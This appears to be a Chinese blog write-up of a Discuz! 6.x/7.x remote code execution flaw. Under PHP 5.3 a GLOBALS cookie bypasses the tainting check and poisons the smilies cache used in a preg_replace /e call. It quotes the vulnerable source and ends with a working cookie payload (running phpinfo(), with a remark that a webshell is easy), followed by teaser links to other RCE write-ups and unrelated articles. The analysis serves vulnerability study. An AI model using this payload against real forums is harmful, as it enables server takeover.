一、漏洞原理:
由于php5.3.x版本里php.ini的设置里request_order默认值为GP,导致Discuz! 6.x/7.x 全局变量防御绕过漏洞。
include/global.func.php代码里:
01 |
function daddslashes( $string , $force = 0) { |
02 |
!defined( 'MAGIC_QUOTES_GPC' ) && define( 'MAGIC_QUOTES_GPC' , get_magic_quotes_gpc()); |
03 |
if (!MAGIC_QUOTES_GPC || $force ) { |
04 |
if ( is_array ( $string )) { |
05 |
foreach ( $string as $key => $val ) { |
06 |
$string [ $key ] = daddslashes( $val , $force ); |
09 |
$string = addslashes ( $string ); |
include/common.inc.php里:
1 |
foreach ( array ( '_COOKIE' , '_POST' , '_GET' ) as $_request ) { |
2 |
foreach ($ $_request as $_key => $_value ) { |
3 |
$_key {0} != '_' && $ $_key = daddslashes( $_value ); //变量引入000111222 |
模
拟register_globals功能的代码,在GPC为off时会调用addslashes()函数处理变量值,但是如果直接使
用$_GET/$_POST/$_COOKIE这样的变量,这个就不起作用了,然而dz的源码里直接使用$_GET/$_POST/$_COOKIE的地
方很少,存在漏洞的地方更加少:(
不过还有其他的绕过方法,在register_globals=on下通过提交GLOBALS变量就可以绕过上面的代码了.为了防止这种情况,dz中有如下代码:
1 |
if (isset( $_REQUEST [ 'GLOBALS' ]) OR isset( $_FILES [ 'GLOBALS' ])) { |
2 |
exit ( 'Request tainting attempted.' ); |
这样就没法提交GLOBALS变量了么?
$_REQUEST这个超全局变量的值受php.ini中request_order的影响,在最新的php5.3.x系列
中,request_order默认值为GP,也就是说默认配置下$_REQUEST只包含$_GET和$_POST,而不包括$_COOKIE,那么我
们就可以通过COOKIE来提交GLOBALS变量了:)
二、漏洞位置一
[HIDE]
三、漏洞位置二
include/discuzcode.func.php
01 |
function discuzcode( $message , $smileyoff , $bbcodeoff , $htmlon = 0, $allowsmilies = 1, $allowbbcode = 1, $allowimgcode = 1, $allowhtml = 0, $jammer = 0, $parsetype = '0' , $authorid = '0' , $allowmediacode = '0' , $pid = 0) { |
02 |
global $discuzcodes , $credits , $tid , $discuz_uid , $highlight , $maxsmilies , $db , $tablepre , $hideattach , $allowattachurl ; |
03 |
if ( $parsetype != 1 && ! $bbcodeoff && $allowbbcode && ( strpos ( $message , '[ /code]' ) || strpos ( $message , '[ /CODE]' )) !== FALSE) { |
04 |
$message = preg_replace( "/\s?\[code\](.+?)\[\/code\]\s?/ies" , "codedisp('\\1')" , $message ); |
06 |
$msglower = strtolower ( $message ); |
07 |
//$htmlon = $htmlon && $allowhtml ? 1 : 0; |
09 |
$message = $jammer ? preg_replace( "/\r\n|\n|\r/e" , "jammer()" , dhtmlspecialchars( $message )) : dhtmlspecialchars( $message ); |
11 |
if (! $smileyoff && $allowsmilies && ! empty ( $GLOBALS [ '_DCACHE' ][ 'smilies' ]) && is_array ( $GLOBALS [ '_DCACHE' ][ 'smilies' ])) { |
12 |
if (! $discuzcodes [ 'smiliesreplaced' ]) { |
13 |
foreach ( $GLOBALS [ '_DCACHE' ][ 'smilies' ][ 'replacearray' ] AS $key => $smiley ) { |
14 |
$GLOBALS [ '_DCACHE' ][ 'smilies' ][ 'replacearray' ][ $key ] = '<img src="data:images/smilies/' . $GLOBALS [ '_DCACHE' ][ 'smileytypes' ][ $GLOBALS [ '_DCACHE' ][ 'smilies' ][ 'typearray' ][ $key ]][ 'directory' ]. '/' . $smiley . '" smilieid="' . $key . '" border="0" alt="" />' ; |
16 |
$discuzcodes [ 'smiliesreplaced' ] = 1; |
18 |
$message = preg_replace( $GLOBALS [ '_DCACHE' ][ 'smilies' ][ 'searcharray' ], $GLOBALS [ '_DCACHE' ][ 'smilies' ][ 'replacearray' ], $message , $maxsmilies ); |
119行 :
1 |
$message = preg_replace( $GLOBALS [ '_DCACHE' ][ 'smilies' ][ 'searcharray' ], $GLOBALS [ '_DCACHE' ][ 'smilies' ][ 'replacearray' ], $message , $maxsmilies ); //让 preg_replace 加上/e 修正符,产生代码执行 |
四、POC
访问一个存在的帖子,需要访问的页面有表情。
例如:http://192.168.0.222/bbs/viewthread.php?tid=12&extra=page%3D1
然后刷新帖子,拦截数据包,cookie中添加
1 |
GLOBALS[_DCACHE][smilies][searcharray]=/.*/eui; GLOBALS[_DCACHE][smilies][replacearray]=phpinfo(); |
如有漏洞,即可看到效果.
写个shell 自然也不是问题了~
- phpcms前台任意代码执行漏洞(php<5.3)
phpcms v9 中 string2array()函数使用了eval函数,在多个地方可能造成代码执行漏洞 /phpsso_server/phpcms/libs/functions/global.fu ...
- seacms_6.4.5 前台任意代码执行漏洞分析
环境搭建 1.下载安装包 下载地址: 链接:https://pan.baidu.com/s/1uw_VnxnvG4GGEae4TRsGGw 密码:cd48 2.常规安装 漏洞复现 poc1: http ...
- WordPress wp-includes/functions.php脚本远程任意代码执行漏洞
漏洞名称: WordPress wp-includes/functions.php脚本远程任意代码执行漏洞 CNNVD编号: CNNVD-201309-166 发布时间: 2013-09-13 更新时 ...
- 漏洞预警 | Apache Struts2 曝任意代码执行漏洞 (S2-045)
近日,Apache官方发布Apache Struts 2.3.5–2.3.31版本及2.5–2.5.10版本存在远程代码执行漏洞(CNNVD-201703-152 ,CVE-2017-5638)的紧急 ...
- 20.Ecshop 2.x/3.x SQL注入/任意代码执行漏洞
Ecshop 2.x/3.x SQL注入/任意代码执行漏洞 影响版本: Ecshop 2.x Ecshop 3.x-3.6.0 漏洞分析: 该漏洞影响ECShop 2.x和3.x版本,是一个典型的“二 ...
- 记一次海洋cms任意代码执行漏洞拿shell(url一句话)
实验环境:海洋CMS6.54(后续版本已该洞已补) 1.后台登录尝试 这个站点是个测试站,站里没什么数据. 进入admin.php,是带验证码的后台登录系统,没有验证码的可以用bp爆破.有验证码的也有 ...
- 修复Apache Log4j任意代码执行漏洞安全风险通告
2021年12月10日 0x01漏洞背景 Apache Log4j 是 Apache 的一个开源项目,Apache Log4j2是一个基于Java的日志记录工具.该工具重写了Log4j框架,并且引入了 ...
- php 168任意代码执行漏洞之php的Complex (curly) syntax
今天了解了php 168的任意代码执行漏洞,Poc: http://192.168.6.128/pentest/cms/php168/member/post.php?only=1&showHt ...
- 干货|CVE-2019-11043: PHP-FPM在Nginx特定配置下任意代码执行漏洞分析
近期,国外安全研究员Andrew Danau,在参加夺旗赛(CTF: Capture the Flag)期间,偶然发现php-fpm组件处理特定请求时存在缺陷:在特定Nginx配置下,特定构造的请求会 ...
随机推荐
- Linux 工作站安全加固规范
目标受众 这是一套 Linux 基金会为其系统管理员提供的推荐规范. 这个文档用于帮助那些使用 Linux 工作站来访问和管理项目的 IT 设施的系统管理员团队. 如果你的系统管理员是远程员工,你也许 ...
- mongodb的数据库操作
1.创建数据库 语法 MongoDB 创建数据库的语法格式如下: use DATABASE_NAME 如果数据库不存在,则创建数据库,否则切换到指定数据库. 1.创建数据库 > show dbs ...
- ssh 免密码登录【用】
ssh 无密码登录要使用公钥与私钥.linux下可以用用ssh-keygen生成公钥/私钥对,下面我以CentOS为例. 有机器A(192.168.1.155),B(192.168.1.181).现想 ...
- Codeforces Round #391 A B C D E
A. Gotta Catch Em' All! 题意 从给定的字符串中选取字符,问可构成多少个\(Bulbasaur\) // 想到柯南里一些从报纸上剪汉字拼成的恐吓信_(:з」∠)_ Code #i ...
- Django-models,继承AbstractUser类
1.UserInfo类继承了Django模型自带的User类,需要导入AbstractUser 2.然后在settings.py中配置
- 关于easyui checkbox 的一些操作处理
1.easyui在每一行加checkbox { field: 'id', title: '编号', checkbox: true } 2.easyui分页时记住前面已选的checkbox 设置easy ...
- eclipse启动几秒后报错 (一闪而过)
eclipse启动报错,让查看.metadata/.log日志 1 !SESSION 2013-09-23 17:28:28.484 ------------------------------- ...
- Selenium2+python自动化32- 测试报告的易读性【转载】
前言 前一篇已经介绍了报告的生成方法,本篇小编优化一下测试报告,使测试报告便于大多数阅读.虽然在我们在测试用例开发时为每个用例添加了注释,但测试报告一般是给非测试人员阅读的,如果能在报告中为每一个测试 ...
- 理解Java中【包】的概念
Java中用package关键字定义一个包,下面通过几个实验,理解Java中的包的概念和作用. 实验1:先看一个无包的情形 在G盘下新建一个Test.java,如图1: 写下面这些代码 <spa ...
- php多台服务器实现session共享
使用Redis存储Session(前提是服务期间已实现redis共享,可参照:laravel项目使用twemproxy部署redis集群) 修改php.ini: session.save_handle ...